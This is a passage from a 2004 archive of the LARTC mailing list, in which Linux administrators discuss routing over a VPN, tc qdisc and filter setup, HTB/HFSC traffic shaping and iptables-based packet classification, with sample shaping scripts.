> provided it can be really reached by the router in the first place, of 
> course.
>
>


From lartc@draxinusom.ch  Mon Nov  1 17:18:10 2004
From: lartc@draxinusom.ch (Rene Gallati)
Date: Mon, 01 Nov 2004 18:18:10 +0100
Subject: [LARTC] routing question
In-Reply-To: <4186615A.7050002@irax.com>
References: <41864D84.1030501@irax.com> <41865312.2070308@draxinusom.ch> <4186615A.7050002@irax.com>
Message-ID: <41866FD2.5010501@draxinusom.ch>

routing wrote:
> my current router and default gateway for my network is 192.168.0.4 
> (with one interface eth0)
> 192.168.0.8 is a smoothwall with a vpn set up to 192.168.15.0
> I need to get to a network at 192.168.16.0/24 at the through the gateway 
> at 192.168.15.254
> 
> Machines on 192.168.15.0 can ping those on 192.168.16.0
> 
> this is the current situation with some real numbers from 192.168.0.4
> ip route
> 192.168.3.0/24 via 192.168.0.8 dev eth0
> 192.168.0.0/24 dev eth0  scope link
> 192.168.16.0/24 via 192.168.15.254 dev eth0
> 192.168.15.0/24 via 192.168.0.8 dev eth0
> 127.0.0.0/8 dev lo  scope link
> default via 192.168.0.8 dev eth0
> 
> I can see the following from 192.168.0.4 :-
> ping 192.168.15.254
> PING 192.168.15.254 (192.168.15.254) 56(84) bytes of data.
> 64 bytes from 192.168.15.254: icmp_seq=1 ttl=253 time=66.7 ms
> 64 bytes from 192.168.15.254: icmp_seq=2 ttl=253 time=65.4 ms
> 
> ping 192.168.15.21
> PING 192.168.15.21 (192.168.15.21) 56(84) bytes of data.
> 64 bytes from 192.168.15.21: icmp_seq=1 ttl=253 time=75.6 ms
> 
> but when I do
> ip route add 192.168.15.254 via 192.168.15.21
> I get
> RTNETLINK answers: Network is unreachable
> 
> what I  really want to do at 192.168.0.4  is something like this
> ip route add 192.168.16.0/24 via 192.168.15.254 (this also gives 
> RTNETLINK answers: Network is unreachable)

Try "ip route add 192.168.16.0/24 via 192.168.15.21 dev eth0" this 
should really work but you might need to designate the interface name.

> 
> Rene Gallati wrote:
> 
>> routing wrote:
>>
>>> So far I have been used to using linux to provide simple routing from 
>>> my network to others using commands such as ip route add 
>>> 192.168.1.0/24 via 192.168.0.4 etc and it has all worked perfectly.
>>> I also use smoothwall GPL to provice vpn services, however I have hit 
>>> on a problem and am not at all clear on the way in which to proceed.
>>> I now need to provide a route to services, the access to these is 
>>> provided by a router on a network on the far end of a VPN. the  
>>> computers on the  remote network can see the service I need to 
>>> access, however when I try to provice a route to that system using a 
>>> router on the remoted network by issuing a command such as 
>>> 192.168.5.0/24 via 192.168.15.6  in the router at 192.168.0.4 I get 
>>> the following :-
>>> RTNETLINK answers: Network is unreachable.
>>
>>
>>
>> Imho this simply means that the router at 192.168.0.4 does not know 
>> where 192.168.15.6 (the via target) is and thus denies the request. 
>> Add a route to 192.168.15.6 first and then it should work.
>>
>>> My question is , what way of providing access to this route do I need 
>>> to follow, Is it GRE tunnels (not the best option as I don't have 
>>> enough information on the remote router configurations and am not 
>>> able to change their settings).  Do I have to use  new routing 
>>> tables  or is there something else I must do to get this working?
>>
>>
>>
>> Just tell the router where your target is and all should be well, 
>> provided it can be really reached by the router in the first place, of 
>> course.
>>
>>
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> 


From Mario Bittencourt <mbneto@gmail.com>  Tue Nov  2 02:38:36 2004
From: Mario Bittencourt <mbneto@gmail.com> (Mario Bittencourt)
Date: Mon, 1 Nov 2004 22:38:36 -0400
Subject: [LARTC] Understanding filters
Message-ID: <5cf776b804110118382fe0bffa@mail.gmail.com>

Hi,

I've read the lartc doc but got stuck :)

I've created a prio qdisc (the example) 

tc qdisc add dev eth0 root handle 1: prio
tc qdisc add dev eth0 parent 1:1 handle 10: sfq
tc qdisc add dev eth0 parent 1:2 handle 20:  tbf rate 20kbit buffer
1600 limit 3000
tc qdisc add devl eth0 parent 1:3 handlle 30: sfq

Then I tried to create filters to make priority traffic go to the first band

tc filter add dev eth0 parent 10: protocol ip prio 1 u32 match ip
dport 22 0xffff flowid 10:1

The command above does not work.  If I change

tc filter add dev eth0 parent 1: protocol ip prio 1 u32 match ip dport
22 0xffff flowid 10:1

It goes ok.

So, is this a typo or something is wrong ?

How about the flowid ?  Is it the handle of the qdisc I should
"forward" the packet to ?

From jasonb@edseek.com  Tue Nov  2 03:18:03 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Mon, 1 Nov 2004 22:18:03 -0500
Subject: [LARTC] hfsc scheduler
In-Reply-To: <874qk994z5.873bzt94z5@871xfd94z5.message.id>
References: <2f6c0cb2041029160678a8894b@mail.gmail.com> <2f6c0cb2041029163944829e6d@mail.gmail.com> <874qk994z5.873bzt94z5@871xfd94z5.message.id>
Message-ID: <200411012218.03506.jasonb@edseek.com>

On Monday 01 November 2004 07:46, syrius.ml@no-log.org wrote:
<snip>
> My interactive class is defined like this:
> ... ls umax ${MTU}b dmax 25ms rate ${MAX}kbit \
>     rt umax ${MTU}b dmax 25ms rate ${MAX}kbit

Where is the 'ls', 'rt', and the other parameters explained?  I'm guessing 
'rt' is realtime?  What's 'ls'?

<snip>
> I'm pretty sure a howto-use-hfsc-in-real-context+faq could help. :)
> unfortunatly I'm afraid not a lot of people can write it :)
> i've read the theory docs, english isn't not my monther tongue language
> and for me there's a huge gap between hfsc theory and hfsc in a real
> situation.

I think I understand what hfsc is attempting to address, but it's never been 
made clear how exactly you interact with Linux's hfsc implementation via the 
`tc` binary.

-- 

Jason Boxman
Perl Programmer / *NIX Systems Administrator
Shimberg Center for Affordable Housing | University of Florida
http://edseek.com/ - Linux and FOSS stuff


From agulati@nextone.com  Tue Nov  2 15:33:47 2004
From: agulati@nextone.com (Aman Gulati)
Date: Tue, 02 Nov 2004 10:33:47 -0500
Subject: [LARTC] Number of routing tables..255 limit?
Message-ID: <4187A8DB.9010600@nextone.com>

Hello, 

I have a question about Linux Advanced Routing..Is it possible to have more than 252 user-defined routing tables?
I see the table id is an unsigned char everywhere, is there a reason to have it limited to 255? Can I change it to more than that? Any adverse effects?

Thanks!




From justin@expertron.co.za  Tue Nov  2 15:48:37 2004
From: justin@expertron.co.za (Justin Schoeman)
Date: Tue, 02 Nov 2004 17:48:37 +0200
Subject: [LARTC] Traffic control and logging?
Message-ID: <4187AC55.2040705@expertron.co.za>

Hi all, I am new to tc on Linux, and am having some problems.  The basic 
set-up and use works wonderfully, but now I have run into a slight 
problem...

I am using tc qdiscs and filters to do my traffic shaping.  Now, I have 
a whole bunch of filters to classify the data, and they work well, 
however, after all my classifications are done, I still have data 
reaching the default flow. ALL of the data should have been classified - 
so I would really like to look at the data that is still not classified. 
  Is there any way to log these packets? Can any of the qdiscs log 
queued traffic in a sane way? Can I forward the traffic back to iptables 
in some way?

Any help would be greatly appreciated.

Thanks,
Justin

From stef.coene@docum.org  Tue Nov  2 20:04:01 2004
From: stef.coene@docum.org (Stef Coene)
Date: Tue, 2 Nov 2004 21:04:01 +0100
Subject: [LARTC] Howto route through
In-Reply-To: <41864BDC.5030901@draxinusom.ch>
References: <41850B0D.9000409@draxinusom.ch> <200410311832.30566.stef.coene@docum.org> <41864BDC.5030901@draxinusom.ch>
Message-ID: <200411022104.01526.stef.coene@docum.org>

On Monday 01 November 2004 15:44, Rene Gallati wrote:
> Hm that is a solution, however how do I "attract" the traffic for the
> PCs in the LAN? I can either assign all IPs as aliases which looks a bit
> crude or use proxyArp or bridging to convey the traffic over from one
> side to the other.
The isp should route all traffic for your 1.2.3.0/28 range to 1.2.3.1.

=46rom your example: Range is 1.2.3.0/28 (1.2.3.0 - 1.2.3.15)

           eth0:  1.2.3.1   eth1: 1.2.3.1
=2D--- Internet ------- FW Box ------ LAN (1.2.3.0/28)

default gw lan machines: 1.2.3.1
default gw firewall: assigned gw from your isp (in 1.2.3.0/28)
  ip route add default via 1.2.3.X dev eth0

routes on your firewall: for each lan, going out on eth1:=20
   ip route add 1.2.3.1 dev eth0
       (don't know if this works, but it's to make sure packets for the lan=
=20
host 1.2.3.1 are leaving out on eth1)

> At the moment, transparent bridge filter looks like the best idea to me,
> however the lan nic is a gigE card so I don't know if running it in
> promiscous all the time would be a good idea.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From stef.coene@docum.org  Tue Nov  2 20:06:06 2004
From: stef.coene@docum.org (Stef Coene)
Date: Tue, 2 Nov 2004 21:06:06 +0100
Subject: [LARTC] shaping without delay
In-Reply-To: <000f01c4bf72$3eb5df20$0be9a8c0@aku>
References: <002001c4bec5$4af32520$0be9a8c0@aku> <200410311833.10446.stef.coene@docum.org> <000f01c4bf72$3eb5df20$0be9a8c0@aku>
Message-ID: <200411022106.06611.stef.coene@docum.org>

On Sunday 31 October 2004 18:51, you wrote:
> Where can I get some tricks to minimize the delay or latency? Actually, I
> have tried some configurations but I still get too big delay or latency.
The prio parameter of htb classes can help.
Remember, you can not remove the delay.  You can only give some packes less=
=20
delay then others, but the total delay will be bigger.  Each hop in the=20
network will create extra delays.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From nikolay@domonet.ru  Wed Nov  3 09:46:12 2004
From: nikolay@domonet.ru (Nikolay Dmitriev)
Date: Wed, 3 Nov 2004 12:46:12 +0300
Subject: [LARTC] Inverting filters
Message-ID: <200411031246.12523.nikolay@domonet.ru>

How to invert match parameter?

Like this:

tc filter add dev eth0 protocol ip parent 1: prio 1 u32 \
    match ip src 10.20.30.40 \
    match ip dst !10.30.0/24 \
    match ip dst !10.40.0/24 \
    flowid 1:20


From magin@giodental.com  Wed Nov  3 13:45:07 2004
From: magin@giodental.com (magin@giodental.com)
Date: Wed, 3 Nov 2004 14:45:07 +0100 (CET)
Subject: [LARTC] Download ratio unstable
Message-ID: <38549.80.58.15.43.1099489507.squirrel@80.58.15.43>

Hi, i'm newbie with traffic control. I create a script based in one from
Jason Boxman (thx a lot). the upload flow is prioritized well, but when i
download from a site, the down flow vary a lot from 25 KB to 4 KB. Before
i use this script the downloads are constant between 22 an 25 KB. Perhaps
there's something wrong in my script ?
I paste it, thx.
---------------------------------------------------------------------

#!/bin/bash

RATE=100
LOCALIF=eth1

clear_all() {
        tc qdisc del dev $LOCALIF root >/dev/null 2>&1
        iptables -t mangle -F
}

create_tree() {
        tc qdisc add dev $LOCALIF root handle 1: htb default 1
        tc class add dev $LOCALIF parent 1: classid 1:1 htb rate
${RATE}kbit ceil ${RATE}kbit
        tc qdisc add dev $LOCALIF parent 1:1 handle 2: prio bands 4
        tc qdisc add dev $LOCALIF parent 2:1 handle 10: sfq perturb 20
        tc qdisc add dev $LOCALIF parent 2:2 handle 20: sfq perturb 20
        tc qdisc add dev $LOCALIF parent 2:3 handle 30: sfq perturb 20
        tc qdisc add dev $LOCALIF parent 2:4 handle 40: tbf rate
$(($RATE-40))kbit burst 1600 limit 3000
}

create_filters() {
        # Match SYN and RST packets
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp -m tcp
--tcp-flags ! SYN,RST,ACK ACK -j CLASSIFY --set-class 2:1

        # Match ACK packets
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp -m tcp
--tcp-flags SYN,RST,ACK ACK -m length --length :128 -m tos ! --tos
Normal-Service -j CLASSIFY --set-class 2:1

        # Match packets with TOS Minimize-Delay
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp -m tos --tos
Minimize-Delay -j CLASSIFY --set-class 2:2

        # ICMP
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p icmp -j CLASSIFY
--set-class 2:1

        # HTTP
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp --dport 80 -j
CLASSIFY --set-class 2:2

        # IRC
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp --dport 6667
-j CLASSIFY --set-class 2:2

        # SSH
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp --dport 22 -j
CLASSIFY --set-class 2:2
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp --sport 22 -j
CLASSIFY --set-class 2:2

        iptables -t mangle -A POSTROUTING -p tcp -m tos --tos
Maximize-Throughput --sport ssh -j CLASSIFY --set-class 2:3
        iptables -t mangle -A POSTROUTING -p tcp -m tos --tos
Maximize-Throughput --dport ssh -j CLASSIFY --set-class 2:3

        # Matches for Edonkey and Overnet
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp --dport
4662:4672 -j CLASSIFY --set-class 2:4
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p udp --dport
4662:4672 -j CLASSIFY --set-class 2:4
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp --sport
4662:4672 -j CLASSIFY --set-class 2:4
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp --sport
4662:4672 -j CLASSIFY --set-class 2:4

        # FTP
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp --dport 21 -j
CLASSIFY --set-class 2:3
        iptables -t mangle -A POSTROUTING -o $LOCALIF -p tcp --sport 21 -j
CLASSIFY --set-class 2:3
}

case $1 in
        'start')
                echo 'Creando la estructura qdisc ...'
                clear_all
                create_tree
                create_filters
                ;;
        'stop')
                echo 'Eliminando la estructura qdisc ...'
                clear_all
                ;;
esac

-------------------------------------------------------------------

That's all. Thanks in advance.


From mozo@home.ro  Wed Nov  3 17:17:22 2004
From: mozo@home.ro (Cireasa Claudiu)
Date: Wed, 3 Nov 2004 19:17:22 +0200
Subject: [LARTC] Burst problem!
Message-ID: <001c01c4c1c8$fcb5cf50$050b010a@mozocomp>

This is a multi-part message in MIME format.

------=_NextPart_000_0019_01C4C1D9.BEBBF6F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello!

I have a problem with i detalied in an early mail but there was no =
answer so i will try to be more specific.

i have this

tc class add dev eth0 parent 1: classid 1:1 htb rate 64kbit ceil 256kbit =
burst 15k quantum 1500

tc class add dev eth0 parent 1:1 classid 1:100 htb rate 32kbit ceil =
256kbit burst 15k
    tc qdisc add dev eth0 parent 1:100 handle 100: sfq perturb 5 quantum =
1500

tc class add dev eth0 parent 1:100 classid 1:1001 htb rate 8kbit ceil =
64kbit    prio 5 quantum 1500 burst 15k=20
    tc qdisc add dev eth0 parent 1:1001 handle 1001: sfq perturb 5 =
quantum 1500

when i add more clients for the class 1:100 and i start the script =
problems such as request timeout and verry slow speed (0,5kbps) appear

where is the problem... ? is the burst too big? how should it be set?
the perturb is too small?=20
i used SFQ... each queue should have her turn once in a while... if i =
send 10 ping requests from a host at least 2 of them are timeouts... =
why?

i am stuck please help.

   Claudiu.
------=_NextPart_000_0019_01C4C1D9.BEBBF6F0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1458" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have a problem with i detalied in an =
early mail=20
but there was no answer so i will try to be more specific.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>i have this</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>tc class add dev eth0 parent 1: classid =
1:1 htb=20
rate 64kbit ceil 256kbit burst 15k quantum 1500</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>tc class add dev eth0 parent 1:1 =
classid 1:100 htb=20
rate 32kbit ceil 256kbit burst 15k<BR>&nbsp;&nbsp;&nbsp; tc qdisc add =
dev eth0=20
parent 1:100 handle 100: sfq perturb 5 quantum 1500</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;</DIV>
<DIV>tc class add dev eth0 parent 1:100 classid 1:1001 htb rate 8kbit =
ceil=20
64kbit&nbsp;&nbsp;&nbsp; prio 5 quantum 1500 burst=20
15k&nbsp;<BR>&nbsp;&nbsp;&nbsp; tc qdisc add dev eth0 parent 1:1001 =
handle 1001:=20
sfq perturb 5 quantum 1500</DIV>
<DIV>&nbsp;</DIV>
<DIV>when i add more clients for the class 1:100&nbsp;and i start the =
script=20
problems such as request timeout and verry slow speed (0,5kbps) =
appear</DIV>
<DIV>&nbsp;</DIV>
<DIV>where is the problem... ? is the burst too big? how should it be =
set?</DIV>
<DIV>the perturb is too small? </DIV>
<DIV>i used SFQ... each queue should have her turn once in a while... if =
i send=20
10 ping requests from a host at least 2 of them are timeouts... =
why?</DIV>
<DIV>&nbsp;</DIV>
<DIV>i am stuck please help.</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp; Claudiu.</FONT></DIV></BODY></HTML>

------=_NextPart_000_0019_01C4C1D9.BEBBF6F0--


From pbruna@linuxcenterla.com  Wed Nov  3 21:22:43 2004
From: pbruna@linuxcenterla.com (Patricio Bruna V.)
Date: Wed, 03 Nov 2004 18:22:43 -0300
Subject: [LARTC] simulate
Message-ID: <1099516963.4567.8.camel@p.linuxcenter.cl>

--=-+XDdtPD7jW5P2AsUKU+f
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

are any tool, script, software, that let me simulate network traffic,
like trasmit for 2 hours at 100Mbs?
--=20
Patricio Bruna                                  http://www.linuxcenterla.co=
m
Ingeniero de Proyectos                  Canada # 239 Piso 5
Red Hat Certified Engineer              Providencia, Santiago - CHILE
Linux Center Latinoamerica              Fono: +56 2 2745000, Fax : +56 2274=
7075

--=-+XDdtPD7jW5P2AsUKU+f
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Esta parte del mensaje =?ISO-8859-1?Q?est=E1?= firmada
	digitalmente

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQBBiUwjsT2oK1KzexgRAveKAJ9B+o3DmHOCsmba88aeLlGLELsKbgCgtnaY
4ZNgxz2OVX5GiZvd7fe7Uis=
=U7lI
-----END PGP SIGNATURE-----

--=-+XDdtPD7jW5P2AsUKU+f--


From shemminger@osdl.org  Wed Nov  3 21:37:33 2004
From: shemminger@osdl.org (Stephen Hemminger)
Date: Wed, 3 Nov 2004 13:37:33 -0800
Subject: [LARTC] simulate
In-Reply-To: <1099516963.4567.8.camel@p.linuxcenter.cl>
References: <1099516963.4567.8.camel@p.linuxcenter.cl>
Message-ID: <20041103133733.6baf370d@zqx3.pdx.osdl.net>

On Wed, 03 Nov 2004 18:22:43 -0300
"Patricio Bruna V." <pbruna@linuxcenterla.com> wrote:

> are any tool, script, software, that let me simulate network traffic,
> like trasmit for 2 hours at 100Mbs?

packet generator (see Documentation/networking/pktgen.txt)

From =?ks_c_5601-1987?B?s6q/rLDm?= <ryk76@chollian.net>  Thu Nov  4 00:29:32 2004
From: =?ks_c_5601-1987?B?s6q/rLDm?= <ryk76@chollian.net> (=?ks_c_5601-1987?B?s6q/rLDm?=)
Date: Thu, 4 Nov 2004 09:29:32 +0900
Subject: [LARTC] I don't want mailing info.
Message-ID: <002601c4c205$5be5ac20$130c6464@netmanpc2>

This is a multi-part message in MIME format.

------=_NextPart_000_0023_01C4C250.CAF45940
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

SSBkb24ndCB3YW50IG1haWxpbmcgSW5mby4NClBsZWFlcyBEb24ndCBzZW5kIG1haWwgdG8gbWUu

------=_NextPart_000_0023_01C4C250.CAF45940
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu
dD0idGV4dC9odG1sOyBjaGFyc2V0PWtzX2NfNTYwMS0xOTg3Ij4NCjxNRVRBIGNvbnRlbnQ9Ik1T
SFRNTCA2LjAwLjI4MDAuMTQ3NiIgbmFtZT1HRU5FUkFUT1I+DQo8U1RZTEU+PC9TVFlMRT4NCjwv
SEVBRD4NCjxCT0RZIGJnQ29sb3I9I2ZmZmZmZj4NCjxESVY+PEZPTlQgc2l6ZT0yPkkgZG9uJ3Qg
d2FudCBtYWlsaW5nIEluZm8uPC9GT05UPjwvRElWPg0KPERJVj48Rk9OVCBzaXplPTI+UGxlYWVz
IERvbid0IHNlbmQgbWFpbCB0byBtZS48L0ZPTlQ+PC9ESVY+PC9CT0RZPjwvSFRNTD4NCg==

------=_NextPart_000_0023_01C4C250.CAF45940--




From Mario Bittencourt <mbneto@gmail.com>  Thu Nov  4 02:31:27 2004
From: Mario Bittencourt <mbneto@gmail.com> (Mario Bittencourt)
Date: Wed, 3 Nov 2004 22:31:27 -0400
Subject: [LARTC] Understanding filters
In-Reply-To: <20041102182753.GA16894@crescent.rt.cs.boeing.com>
References: <5cf776b804110118382fe0bffa@mail.gmail.com>
 <20041102182753.GA16894@crescent.rt.cs.boeing.com>
Message-ID: <5cf776b80411031831737fdd41@mail.gmail.com>

Thanks.  The example on the filter section has nothing to do with the
example of PRIO used earlier.

On Tue, 2 Nov 2004 10:27:53 -0800, Orlie Brewer
<orlie.t.brewer@boeing.com> wrote:
> Hello,
> 
> The parent of a filter should be the handle of the qdisc containing the
> classes to which you are trying to route the packets, in this case, the prio
> qdisc 1:  The flowid should be the handle of the class to which you want the
> packets forwarded, in this case 1:1.  When you forward packets to a class,
> they will be queued in the qdisc attached to the class, in this case, the sfq
> qdisc 10:
> 
> So the filter command should read
> 
> > tc filter add dev eth0 parent 1: protocol ip prio 1 u32 match ip dport
> > 22 0xffff flowid 1:1
> 
> Hope this helps.
> 
> Orlie
> 
> 
> 
> On Monday 2004.11.01 18:38, Mario Bittencourt wrote:
> > Hi,
> >
> > I've read the lartc doc but got stuck :)
> >
> > I've created a prio qdisc (the example)
> >
> > tc qdisc add dev eth0 root handle 1: prio
> > tc qdisc add dev eth0 parent 1:1 handle 10: sfq
> > tc qdisc add dev eth0 parent 1:2 handle 20:  tbf rate 20kbit buffer
> > 1600 limit 3000
> > tc qdisc add devl eth0 parent 1:3 handlle 30: sfq
> >
> > Then I tried to create filters to make priority traffic go to the first band
> >
> > tc filter add dev eth0 parent 10: protocol ip prio 1 u32 match ip
> > dport 22 0xffff flowid 10:1
> >
> > The command above does not work.  If I change
> >
> > tc filter add dev eth0 parent 1: protocol ip prio 1 u32 match ip dport
> > 22 0xffff flowid 10:1
> >
> > It goes ok.
> >
> > So, is this a typo or something is wrong ?
> >
> > How about the flowid ?  Is it the handle of the qdisc I should
> > "forward" the packet to ?
> > _______________________________________________
> > LARTC mailing list / LARTC@mailman.ds9a.nl
> > http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> >
>

From andy.furniss@dsl.pipex.com  Thu Nov  4 09:49:38 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 04 Nov 2004 09:49:38 +0000
Subject: [LARTC] Big problem :(((((
In-Reply-To: <000c01c4c02b$d52895b0$050b010a@mozocomp>
References: <000c01c4c02b$d52895b0$050b010a@mozocomp>
Message-ID: <4189FB32.80507@dsl.pipex.com>

Cireasa Claudiu wrote:
> Hello!
> 
> I have an internet connection of 64kbps garanteed in a channel of 256kbps. On this connection the metropolitan speed is 10Mbps and in the provider's network the speed is 100Mbps.
> I have a few clients behind my linux box and i want to set up some limitations because some of them are using it irrational.
> 
> I am marking the packets with 0 for internet;

0 means unmarked.

  1 for metropolitan 2 for provider's network.
> Afther the mark i send the packets to the followind classes:

You can test your marking/setup with

tc -s -d class ls dev ethX or

tc -s -d qdisc ls dev ethX.

> 
> script for eth0 (eth0 is my local network)
> 
> #!/bin/bash
> tc qdisc del dev eth0 root >/dev/null
> tc qdisc add dev eth0 root handle 1: htb default 3
> 
> tc class add dev eth0 parent 1:  classid 1:1  htb rate 64kbit  ceil 256kbit burst 15k   quantum 1500            # Internet
> tc class add dev eth0 parent 1:  classid 1:2  htb rate 10Mbit              burst 15k    quantum 1500            # Metropolitan
> tc class add dev eth0 parent 1:  classid 1:3  htb rate 80Mbit              burst 15k    quantum 1500            # Provider
> 
> tc class add dev eth0 parent 1:1 classid 1:100 htb rate 64kbit ceil 256kbit burst 15k
>     tc qdisc add dev eth0 parent 1:100 handle 100: sfq perturb 5 quantum 1500
> 
> tc class add dev eth0 parent 1:100 classid 1:1001 htb rate 4kbit ceil 64kbit    prio 5 quantum 1500 burst 15k   
>     tc qdisc add dev eth0 parent 1:1001 handle 1001: sfq perturb 5 quantum 1500
> tc class add dev eth0 parent 1:100 classid 1:1002 htb rate 4kbit ceil 64kbit    prio 5 quantum 1500 burst 15k  
>     tc qdisc add dev eth0 parent 1:1002 handle 1002: sfq perturb 5 quantum 1500
> ...
> tc class add dev eth0 parent 1:100 classid 1:1020 htb rate 4kbit ceil 64kbit    prio 5 quantum 1500 burst 15k  
>     tc qdisc add dev eth0 parent 1:1020 handle 1020: sfq perturb 5 quantum 1500
> 
> tc class add dev eth0 parent 1:2 classid 1:300 htb rate 5Mbit prio 5 quantum 1500 burst 15k
>     tc qdisc add dev eth0 parent 1:300 handle 300: sfq perturb 5 quantum 1500
> 
> tc class add dev eth0 parent 1:300 classid 1:3001 htb rate 8kbit ceil 256kbit   prio 5 quantum 1500 burst 15k  
>     tc qdisc add dev eth0 parent 1:3001 handle 3001: sfq perturb 5 quantum 1500
> tc class add dev eth0 parent 1:300 classid 1:3002 htb rate 8kbit ceil 256kbit   prio 5 quantum 1500 burst 15k  
>     tc qdisc add dev eth0 parent 1:3002 handle 3002: sfq perturb 5 quantum 1500
> ...
> tc class add dev eth0 parent 1:300 classid 1:3020 htb rate 5kbit ceil 256kbit   prio 5 quantum 1500 burst 15k  
>     tc qdisc add dev eth0 parent 1:3020 handle 3020: sfq perturb 5 quantum 1500
> 
> tc class add dev eth0 parent 1:2 classid 1:500 htb rate 80Mbit prio 5 quantum 1500 burst 15k
>     tc qdisc add dev eth0 parent 1:500 handle 500: sfq perturb 5 quantum 1500
> 
> tc class add dev eth0 parent 1:500 classid 1:5001 htb rate 8kbit ceil 8Mbit   prio 5 quantum 1500 burst 15k  
>     tc qdisc add dev eth0 parent 1:5001 handle 5001: sfq perturb 5 quantum 1500
> 
> tc class add dev eth0 parent 1:500 classid 1:5002 htb rate 8kbit ceil 8Mbit   prio 5 quantum 1500 burst 15k  
>     tc qdisc add dev eth0 parent 1:5002 handle 5002: sfq perturb 5 quantum 1500
> ...
> 
> iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.1  -j CLASSIFY --set-class 1:1001
> iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.1 -m mark --mark 1 -j CLASSIFY --set-class 1:3001
> iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.1 -m mark --mark 2 -j CLASSIFY --set-class 1:5001
> 
> iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.2 -j CLASSIFY --set-class 1:1002
> iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.2 -m mark --mark 1 -j CLASSIFY --set-class 1:3002
> iptables -t mangle -A POSTROUTING -o eth0 -d 10.0.0.2 -m mark --mark 2 -j CLASSIFY --set-class 1:5002
> ...

Haven't used CLASSIFY so am unsure if this is OK.

Peturb 5 is a bit low - it causes packet reordering and the default 
queue length for SFQ is 128 - too long.

In fact if you are going to shape someone to low bandwidth it would be 
best to further mark and give their interactive traffic priority over 
their bulk.

> 
> ###END SCRIPT ETH0###
> 
> 
> the script for eth1 (the interface witch goes to provider) is:
> 
> #!/bin/bash
> tc qdisc del dev eth1 root >/dev/null
> tc qdisc add dev eth1 root handle 1: htb default 4
> 
> tc class add dev eth1 parent 1:  classid 1:1  htb rate 64kbit  ceil 256kbit burst 15k   quantum 1500
> tc class add dev eth1 parent 1:  classid 1:2  htb rate 10Mbit              burst 15k    quantum 1500
> tc class add dev eth1 parent 1:  classid 1:3  htb rate 80Mbit              burst 15k    quantum 1500
> 
> 
> tc class add dev eth1 parent 1:1 classid 1:100 htb rate 64kbit ceil 256kbit burst 15k
>     tc qdisc add dev eth1 parent 1:100 handle 100: sfq perturb 5 quantum 1500
> 
> tc class add dev eth1 parent 1:100 classid 1:1001 htb rate 4kbit ceil 64kbit    prio 5 quantum 1500 burst 15k
>     tc qdisc add dev eth1 parent 1:1001 handle 1001: sfq perturb 5 quantum 1500
> ...
> 
> tc class add dev eth1 parent 1:2 classid 1:300 htb rate 5Mbit prio 8 quantum 1500 burst 15k
>     tc qdisc add dev eth1 parent 1:300 handle 300: sfq perturb 5 quantum 1500
> 
> tc class add dev eth1 parent 1:300 classid 1:3001 htb rate 32kbit ceil 128kbit  prio 5 quantum 1500 burst 15k
>     tc qdisc add dev eth1 parent 1:3001 handle 3001: sfq perturb 5 quantum 1500
> tc class add dev eth1 parent 1:300 classid 1:3002 htb rate 32kbit ceil 128kbit  prio 5 quantum 1500 burst 15k
>     tc qdisc add dev eth1 parent 1:3002 handle 3002: sfq perturb 5 quantum 1500
> ...
> 
> tc class add dev eth1 parent 1:3 classid 1:500 htb rate 80Mbit prio 8 quantum 1500 burst 15k
